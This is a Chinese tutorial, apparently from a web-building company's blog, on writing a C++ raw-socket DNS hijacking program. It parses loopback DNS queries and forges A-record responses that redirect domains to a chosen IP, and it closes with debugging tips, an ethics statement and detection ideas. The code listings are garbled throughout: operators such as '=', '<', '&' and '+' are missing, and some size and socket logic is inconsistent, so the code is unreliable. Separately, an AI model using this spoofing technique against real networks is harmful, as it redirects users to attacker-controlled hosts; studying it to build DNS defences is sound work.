尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

C++原始套接字实现DNS劫持:从协议解析到网络攻防实践

C++原始套接字实现DNS劫持:从协议解析到网络攻防实践 1. 项目概述从网络编程视角看DNS劫持最近在整理一些网络编程的旧项目翻到了一个用C实现的DNS劫持演示程序。这个项目不是为了教你做坏事恰恰相反它是我当年为了深入理解DNS协议、网络数据包拦截以及网络安全防御机制而做的一个“攻防演练”沙盒。在网络安全领域只有透彻理解攻击原理才能构建有效的防御。DNS作为互联网的“电话簿”其安全性至关重要一次成功的DNS劫持可能导致用户被导向钓鱼网站造成严重的信息泄露。通过亲手实现一个简化版的DNS劫持程序你能直观地看到一个域名解析请求是如何被篡改的这对于开发防火墙、入侵检测系统IDS或进行安全审计都大有裨益。这个项目适合有一定C和网络编程基础希望深入应用层协议和网络安全实践的开发者。它不依赖复杂的第三方框架核心是使用原始套接字Raw Socket监听和伪造DNS响应包。我会带你从原理拆解到代码实现最后还会分享几个我在调试过程中踩过的“坑”以及如何防范此类攻击的思路。你会发现看似神秘的“劫持”背后是一系列对协议字段的精确计算和网络时序的巧妙把握。2. 核心原理与设计思路拆解2.1 DNS协议与“劫持”的机会窗口DNS域名系统协议在大多数情况下使用UDP端口是53。一次典型的DNS查询比如查询www.example.com的IP地址流程如下客户端你的电脑向预设的DNS服务器如8.8.8.8发送一个UDP请求包。DNS服务器处理请求并返回一个UDP响应包。客户端接收响应获得IP地址然后向该地址发起HTTP/HTTPS连接。“劫持”的核心思路就是在这个交互过程中充当一个“中间人”。我们的目标是在真正的DNS服务器响应到达客户端之前抢先发送一个我们伪造的DNS响应包给客户端。如果客户端相信并接受了我们的伪造包那么它后续的连接就会指向我们指定的IP比如一个我们控制的服务器而不是真实的网站服务器。要实现这一点需要满足几个关键条件包伪造我们必须能构造出一个语法正确、足以“以假乱真”的DNS响应数据包。网络监听我们需要能监听到局域网内或本机产生的DNS查询请求。抢先响应我们的伪造响应必须在真正的响应之前到达客户端。这通常意味着我们的攻击程序需要运行在离客户端网络路径更近的位置例如同一局域网或者利用网络延迟、DNS服务器无响应等情况。在本项目的设计上我们采取一个相对简单但能说明全部原理的模型在本机进行环路Loopback劫持演示。即我们运行一个伪造的DNS服务器程序然后修改本机的DNS设置使其指向本地127.0.0.1。这样本机所有DNS查询都会发往我们的程序由我们的程序决定返回什么结果。这种方式完全在可控环境下进行是学习协议和编程的理想场景。2.2 技术方案选型原始套接字 vs 高层库实现网络包拦截和伪造通常有几种路径使用高层网络库如Boost.Asio, libevent这些库抽象了底层细节方便快速开发标准的TCP/UDP应用。但对于需要直接操作IP头、UDP头甚至以太网帧的“原始”数据包它们就显得力不从心。使用专门的数据包处理库如libpcap, libnetlibpcap擅长捕获数据包tcpdump的基础libnet擅长构造和发送数据包。组合使用它们功能强大但会引入额外的依赖和复杂度。使用操作系统提供的原始套接字Raw Socket这是最底层、最直接的方式。通过创建SOCK_RAW类型的套接字我们可以直接读写包含IP头在内的完整数据包。这给予了我们最大的控制权也是理解网络栈运作的最佳途径。为了保持项目的纯粹性和教育目的我选择了原始套接字方案。它不依赖任何第三方库代码清晰展示了从内存缓冲区到网络字节的每一个步骤。在Linux上这需要程序以root权限运行在Windows上则需要使用WinPcap兼容的驱动或使用更底层的API。我们的示例将主要基于Linux环境。注意现代操作系统对原始套接字的使用有诸多限制例如Linux上普通用户无法创建用于发送自定义IP协议的原始套接字并且像Windows 10及以上版本已经大幅收紧了原始套接字的支持。本项目的代码主要作为原理验证在实际部署时需要根据目标系统进行大量适配。2.3 项目整体架构设计我们的程序将是一个简单的、单线程的UDP服务器但它处理的是原始数据包。其工作流程设计如下初始化创建一个原始套接字绑定到本地回环地址127.0.0.1的53端口。同时为了能接收到发往53端口的包我们需要设置套接字选项告诉内核“不要处理这个端口的UDP包交给我来处理”。监听循环进入一个无限循环使用recvfrom从原始套接字读取数据。读到的数据是一个完整的IP数据包。协议解析从接收到的字节流中手动解析出IP头部、UDP头部最终定位到DNS查询报文本身。我们需要提取关键信息特别是事务IDTransaction ID和查询的域名。构造响应根据提取的查询信息动态构造一个DNS响应报文。这个响应报文需要使用与查询相同的事务ID这是客户端匹配请求和响应的关键。设置响应标志位Flags表明这是一个权威应答。在“Answer”部分填入我们想要劫持指向的IP地址例如192.168.1.100。发送响应将构造好的DNS响应报文封装回UDP和IP头部注意源和目的IP/端口要对调通过原始套接字发送回去。清理与退出处理信号实现优雅退出。这个架构的核心难点在于二进制协议的精确解析与构造不能有一个字节的错误。接下来我们就深入代码细节。3. 核心细节解析与实操要点3.1 DNS报文结构必须吃透的二进制布局DNS报文有固定的格式所有字段均采用网络字节序大端序。一个标准的DNS报文结构如下所示我们必须像背地图一样熟悉它--------------------- | Header | // 12字节必选 --------------------- | Question | // 查询部分长度可变 --------------------- | Answer | // 响应部分长度可变查询报文中为0 --------------------- | Authority | // 授权部分长度可变 --------------------- | Additional | // 附加部分长度可变 ---------------------Header头部12字节是重中之重它定义了报文的属性。其结构如下// DNS Header 结构体 (网络字节序) struct DNS_Header { uint16_t id; // 事务ID2字节。客户端生成响应必须原样返回。 uint16_t flags; // 标志位2字节。包含请求/响应、操作码、应答码等。 uint16_t qdcount; // 问题计数2字节。通常为1。 uint16_t ancount; // 回答资源记录数2字节。响应中至少为1。 uint16_t nscount; // 授权资源记录数2字节。 uint16_t arcount; // 附加资源记录数2字节。 };对于我们的劫持响应关键是要正确设置flags字段。一个标准的查询报文flags通常是0x0100标准递归查询。而我们的响应报文flags需要设置为0x8180。这个值是怎么来的0x8000: 第1位为1表示这是一个响应Response。0x0100: 第5位为1表示期望递归Recursion Desired我们通常原样返回查询中的这个标志。0x0080: 第7位为1表示递归可用Recursion Available在我们的伪造响应中设置此位使其看起来像来自一个功能完整的服务器。0x0000: 应答码RCODE为0表示没有错误。所以0x8000 | 0x0100 | 0x0080 0x8180。在代码中我们需要用htons()函数将主机字节序转换为此值。Question问题部分包含要查询的域名和类型。域名存储格式比较特殊例如www.example.com会被存储为\x03www\x07example\x03com\x00每个标签前有一个字节表示其长度。我们需要从查询报文中完整地复制这一部分到响应报文中。Answer回答部分是我们“作恶”的地方。它由若干资源记录Resource Record, RR组成。每个RR的格式是域名通常是一个指向问题域名的指针以节省空间、类型如A记录为1、类通常为1表示IN、生存时间TTL、数据长度、数据如IP地址。我们需要构造一个A记录RR将域名指向我们预设的IP。3.2 原始套接字的创建与权限陷阱在Linux上创建用于接收所有发往53端口UDP包的原始套接字步骤如下int sockfd socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if (sockfd 0) { perror(“socket creation failed”); exit(EXIT_FAILURE); }这里IPPROTO_UDP告诉内核我们想处理UDP协议的数据包。创建成功后我们需要设置套接字选项使其能接收所有数据并绑定到特定地址。int one 1; const int *val one; // 允许地址重用方便调试 if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, val, sizeof(one)) 0) { perror(“setsockopt(SO_REUSEADDR) failed”); } // 告诉内核不要处理IP头部我们将自己处理 if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) 0) { perror(“setsockopt(IP_HDRINCL) failed”); } // 绑定到本地53端口 struct sockaddr_in servaddr; memset(servaddr, 0, sizeof(servaddr)); servaddr.sin_family AF_INET; servaddr.sin_addr.s_addr htonl(INADDR_LOOPBACK); // 127.0.0.1 servaddr.sin_port htons(53); // DNS端口 if (bind(sockfd, (struct sockaddr*)servaddr, sizeof(servaddr)) 0) { perror(“bind failed”); close(sockfd); exit(EXIT_FAILURE); }实操心得最大的“坑”在于权限。在Linux上绑定1024以下的端口如53需要root权限。更关键的是创建SOCK_RAW套接字本身在大多数情况下也需要root权限。因此你必须使用sudo来运行你的程序。在开发测试时这非常不便。一个常见的做法是在开发阶段先绑定一个高于1024的端口如5353并修改本机DNS设置指向127.0.0.1:5353进行测试等逻辑完全正确后再切换回53端口并用root运行。3.3 网络字节序与结构体对齐处理网络协议字节序Endianness是必须跨过的坎。x86/ARM架构的CPU通常使用小端序Little-Endian而网络传输标准是大端序Big-Endian。因此所有从网络读取的多字节整数如端口号、DNS事务ID、长度字段都必须使用ntohs(),ntohl()函数从网络序转换为主机序进行处理。反之所有要写入网络包的多字节整数都必须使用htons(),htonl()从主机序转换为网络序。另一个隐藏的坑是结构体对齐Struct Padding。编译器为了优化内存访问速度可能会在结构体成员之间插入填充字节。例如你定义了一个和DNS头部一模一样的12字节结构体但编译器可能会把它对齐到16字节。如果你直接把这个结构体指针指向报文缓冲区并进行读写就会错位导致解析失败。解决方案有两种使用编译器指令取消对齐推荐在定义结构体时使用__attribute__((packed))(GCC/Clang) 或#pragma pack(1)(MSVC)。#ifdef __GNUC__ #define PACKED __attribute__((packed)) #else #define PACKED #endif struct PACKED DNS_Header { uint16_t id; uint16_t flags; // ... };手动按字节偏移量读取不使用结构体而是通过指针算术直接从缓冲区读取字节。例如获取事务IDuint16_t id (buffer[0] 8) | buffer[1];。这种方法更繁琐但绝对可控。在项目中我混合使用了两种方法对固定格式的头部使用Packed结构体对可变长度的域名部分则使用指针手动解析。4. 实操过程与核心环节实现4.1 数据包捕获与初步过滤程序启动并绑定后进入主循环等待数据包。char buffer[65536]; // 最大IP包长度 struct sockaddr_in client_addr; socklen_t addr_len sizeof(client_addr); while (true) { ssize_t packet_len recvfrom(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)client_addr, addr_len); if (packet_len 0) { perror(“recvfrom failed”); continue; } // 初步判断长度至少包含IP头(20字节)UDP头(8字节)DNS头(12字节) if (packet_len 40) { continue; // 丢弃过短的无用包 } // 解析IP头部获取协议类型和有效载荷起始位置 struct iphdr *ip_header (struct iphdr*)buffer; // 检查是否是UDP协议 (IPPROTO_UDP 17) if (ip_header-protocol ! IPPROTO_UDP) { continue; } // 计算IP头部长度单位是4字节字 int ip_header_len ip_header-ihl * 4; // 定位UDP头部 struct udphdr *udp_header (struct udphdr*)(buffer ip_header_len); // 检查目的端口是否为53 if (ntohs(udp_header-dest) ! 53) { continue; } // 定位DNS报文开始位置 char *dns_msg buffer ip_header_len sizeof(struct udphdr); size_t dns_msg_len packet_len - ip_header_len - sizeof(struct udphdr); // 处理DNS查询 process_dns_query(dns_msg, dns_msg_len, ip_header, udp_header, client_addr); }这段代码完成了初步过滤只处理UDP协议且目的端口为53的数据包。iphdr和udphdr是Linux系统头文件netinet/ip.h和netinet/udp.h中定义的标准结构体。4.2 DNS查询解析与关键信息提取在process_dns_query函数中我们开始解析DNS报文。void process_dns_query(char *query, size_t len, struct iphdr *ip_hdr, struct udphdr *udp_hdr, struct sockaddr_in *client_addr) { // 1. 解析DNS头部 if (len sizeof(DNS_Header)) return; DNS_Header *q_header (DNS_Header*)query; // 只处理查询请求标志位最高位为0 if (ntohs(q_header-flags) 0x8000) { return; // 这是一个响应包忽略 } uint16_t transaction_id ntohs(q_header-id); // 保存事务ID // 2. 解析Question部分获取查询的域名和类型 char *qname_ptr query sizeof(DNS_Header); char qname[256]; decode_domain_name(qname_ptr, query, qname, sizeof(qname)); // decode_domain_name 是一个自定义函数用于解析可能包含指针的域名格式 // 3. 跳过QNAME找到QTYPE和QCLASS char *ptr qname_ptr; while (*ptr ! 0) { ptr; } // 跳过域名以0结尾 ptr; // 跳过结尾的0 // 现在ptr指向QTYPE2字节 uint16_t qtype ntohs(*(uint16_t*)ptr); ptr 2; uint16_t qclass ntohs(*(uint16_t*)ptr); ptr 2; // 此时ptr指向查询报文的末尾也是我们构造响应的起点 // ... 接下来构造响应 }decode_domain_name函数是解析DNS压缩格式域名的关键。DNS为了减少报文大小允许后面的域名部分用指针指向前面出现过的字符串。这是一个需要小心处理的递归或迭代过程。4.3 伪造DNS响应报文的构造这是最核心的部分。我们需要在内存中构建一个完整的DNS响应报文。// 假设我们要劫持到IP 192.168.1.100 const char *fake_ip “192.168.1.100”; // 1. 计算响应报文所需的总长度 // 基础长度DNS头(12) 查询部分长度(域名长度122) 回答RR长度 size_t query_section_len (ptr - (query sizeof(DNS_Header))); // 计算查询部分长度 size_t answer_rr_len strlen(qname) 2 2 4 2 4; // 域名(压缩指针形式2字节) TYPE(2) CLASS(2) TTL(4) RDLENGTH(2) RDATA(4字节IP) size_t total_response_len sizeof(DNS_Header) query_section_len answer_rr_len; // 2. 分配缓冲区 char response[1500]; // 通常一个DNS响应不会超过1500字节以太网MTU memset(response, 0, sizeof(response)); // 3. 填充DNS响应头部 DNS_Header *r_header (DNS_Header*)response; r_header-id htons(transaction_id); // 原样返回事务ID r_header-flags htons(0x8180); // 标准响应标志 r_header-qdcount htons(1); // 问题数与查询一致 r_header-ancount htons(1); // 回答数我们伪造了1条 r_header-nscount htons(0); r_header-arcount htons(0); // 4. 复制查询部分 memcpy(response sizeof(DNS_Header), query sizeof(DNS_Header), query_section_len); // 5. 构造Answer部分的资源记录(RR) char *answer_ptr response sizeof(DNS_Header) query_section_len; // 5.1 域名使用压缩指针指向查询部分的域名。假设查询域名在报文偏移量0x0c处DNS头之后 *answer_ptr 0xc0; // 指针标志二进制11000000前两位为11表示是指针 *answer_ptr 0x0c; // 偏移量指向DNS头之后的第一个字节0x0c 12 // 5.2 类型和类 *(uint16_t*)answer_ptr htons(1); // TYPE A 1 answer_ptr 2; *(uint16_t*)answer_ptr htons(1); // CLASS IN 1 answer_ptr 2; // 5.3 TTL (生存时间设为300秒) *(uint32_t*)answer_ptr htonl(300); answer_ptr 4; // 5.4 数据长度 (对于A记录是4字节IP地址) *(uint16_t*)answer_ptr htons(4); answer_ptr 2; // 5.5 数据 (IP地址) struct in_addr addr; inet_pton(AF_INET, fake_ip, addr); *(uint32_t*)answer_ptr addr.s_addr; // 已经是网络字节序 answer_ptr 4; // 至此响应报文构造完毕4.4 封装IP/UDP头部并发送响应构造好DNS响应后我们需要把它装回IP和UDP包里并发送给查询的客户端。// 1. 计算新的UDP长度和IP总长度 size_t udp_len sizeof(struct udphdr) total_response_len; size_t ip_len sizeof(struct iphdr) udp_len; // 2. 准备发送缓冲区包含IP头 char send_buffer[1500]; struct iphdr *send_ip_hdr (struct iphdr*)send_buffer; struct udphdr *send_udp_hdr (struct udphdr*)(send_buffer sizeof(struct iphdr)); char *send_dns_msg send_buffer sizeof(struct iphdr) sizeof(struct udphdr); // 3. 填充IP头部交换源和目的IP memcpy(send_ip_hdr, ip_hdr, sizeof(struct iphdr)); send_ip_hdr-tot_len htons(ip_len); send_ip_hdr-saddr ip_hdr-daddr; // 源IP改为原目的IP即我们的服务器IP send_ip_hdr-daddr ip_hdr-saddr; // 目的IP改为原源IP客户端IP send_ip_hdr-check 0; // 校验和先置0稍后计算 // 注意需要重新计算IP校验和 send_ip_hdr-check compute_ip_checksum(send_ip_hdr); // 4. 填充UDP头部交换源和目的端口 send_udp_hdr-source udp_hdr-dest; // 源端口改为53 send_udp_hdr-dest udp_hdr-source; // 目的端口改为客户端端口 send_udp_hdr-len htons(udp_len); send_udp_hdr-check 0; // UDP校验和可选在IPv4中可置0。为求逼真可以计算。 // 5. 复制DNS响应数据 memcpy(send_dns_msg, response, total_response_len); // 6. 发送数据包 struct sockaddr_in dest_addr; memset(dest_addr, 0, sizeof(dest_addr)); dest_addr.sin_family AF_INET; dest_addr.sin_addr.s_addr send_ip_hdr-daddr; // 客户端IP dest_addr.sin_port send_udp_hdr-dest; // 客户端端口 // 注意发送原始IP包时sendto的目标地址信息可能不被内核使用因为目标IP已在IP头中指定。 // 但提供正确的地址结构体是良好的实践。 if (sendto(sockfd, send_buffer, ip_len, 0, (struct sockaddr*)dest_addr, sizeof(dest_addr)) 0) { perror(“sendto failed”); }compute_ip_checksum是一个需要自己实现的函数用于计算IP头部的校验和。这是确保数据包能被正确接收的必要步骤。5. 常见问题与排查技巧实录在实现和调试这个项目的过程中我遇到了不少问题。这里把它们整理出来希望能帮你节省时间。5.1 问题一收不到任何DNS查询包症状程序运行后在本机执行nslookup或浏览器访问网页程序没有任何输出recvfrom似乎阻塞着。排查思路检查权限这是最常见的原因。你是否使用sudo运行了程序或者你是否尝试绑定53端口但没有root权限可以先尝试绑定5353端口并用root运行测试。检查系统DNS设置你的系统DNS是否真的指向了127.0.0.1在Linux下检查/etc/resolv.conf在Windows下用ipconfig /all查看。确保没有其他网络管理器如NetworkManager覆盖了你的设置。检查防火墙本地防火墙如ufw或firewalld可能阻止了本地回环接口上的53端口通信。可以暂时关闭防火墙测试。使用tcpdump抓包验证在另一个终端运行sudo tcpdump -i lo -n port 53。如果能看到DNS请求包说明请求确实发出了问题在你的程序。如果看不到问题在DNS配置。5.2 问题二收到了包但程序崩溃或解析错误症状程序收到数据包后在解析IP头、UDP头或DNS报文时出现段错误Segmentation Fault或输出乱码。排查思路检查缓冲区边界在访问buffer的任何偏移量之前务必确保packet_len足够长。例如在访问iphdr后应检查packet_len ip_header_len sizeof(struct udphdr)。验证协议和端口确保你过滤的是ip_header-protocol IPPROTO_UDP且ntohs(udp_header-dest) 53。网络上有各种杂包。处理DNS压缩指针如果你的decode_domain_name函数没有正确处理压缩指针以0xc0开头在解析某些域名的查询或响应时可能会陷入无限循环或访问非法内存。实现时务必加入循环深度限制和边界检查。注意字节序所有从网络包中读取的超过1字节的整数都必须用ntohs/ntohl转换。所有要写回网络包的整数都必须用htons/htonl转换。这是最容易出错的地方之一。5.3 问题三发送了响应但客户端不认可症状程序发送了伪造的响应包但nslookup显示超时或仍然返回了真实IP。排查思路检查事务IDTransaction ID这是最最关键的字段。响应中的ID必须与请求中的ID完全一致。用十六进制打印出来对比确保没有字节序错误。检查响应标志Flags确保flags字段的高位第16位被设置为1表示响应并且没有设置错误码RCODE。一个正确的权威应答标志通常是0x8180或0x8580如果设置了权威位。检查Answer RR的格式确保Answer部分完全符合RFC标准。特别是域名指针通常指向查询部分的域名偏移0x0c。指针格式是0xc0 0x0c。TTL一个合理的值如300网络字节序。数据长度RDLENGTH对于A记录必须是4网络字节序。IP地址RDATA4字节的IP地址必须是网络字节序。使用Wireshark对比这是终极调试工具。同时抓取本地回环接口lo的流量。过滤dns。仔细对比你的程序发出的响应包和一个正常DNS服务器如8.8.8.8返回的响应包逐字节比较。差异之处就是问题所在。竞争条件你的响应可能比真实DNS服务器的响应慢。尝试在本地hosts文件添加一个不存在的域名映射强制查询走DNS并暂时断开外网确保只有你的程序能响应。5.4 问题四程序只能劫持一次后续查询失败症状第一次nslookup成功返回了伪造IP但紧接着第二次对同一域名的查询就超时了。原因与解决这可能是因为客户端如nslookup或操作系统DNS缓存缓存了第一次的响应。DNS响应中的TTL字段决定了缓存时间。你可以在伪造响应中将TTL设置得非常小比如0但有些客户端仍有最小缓存时间。更根本的原因是你的程序可能没有正确处理连续的数据包。确保你的主循环是可持续的并且在处理完一个包后所有缓冲区指针和状态都得到了重置没有残留数据影响下一次解析。5.5 安全与伦理再强调最后必须再次强调这个项目代码仅用于本地学习、研究和授权的安全测试。未经授权在任何生产网络、他人网络或公共网络上实施DNS劫持是非法的属于网络攻击行为可能导致法律后果。真正的安全从业者会利用这些知识来做相反的事情检测和防御DNS劫持。例如你可以编写一个程序监控本机的DNS响应检查其事务ID是否与请求匹配、响应是否来自可信的DNS服务器、TTL值是否异常等从而发现潜在的中间人攻击。这才是将“攻击”技术转化为“防御”能力的正确方式。我个人在完成这个项目后对网络数据包的流动、协议设计的细节以及安全攻防的思维有了质的飞跃。它像一把钥匙打开了一扇通往底层网络编程和协议安全分析的大门。如果你能独立调试通过整个流程那么你对网络编程的理解就已经超过了绝大多数只停留在应用层API调用的开发者了。
返回列表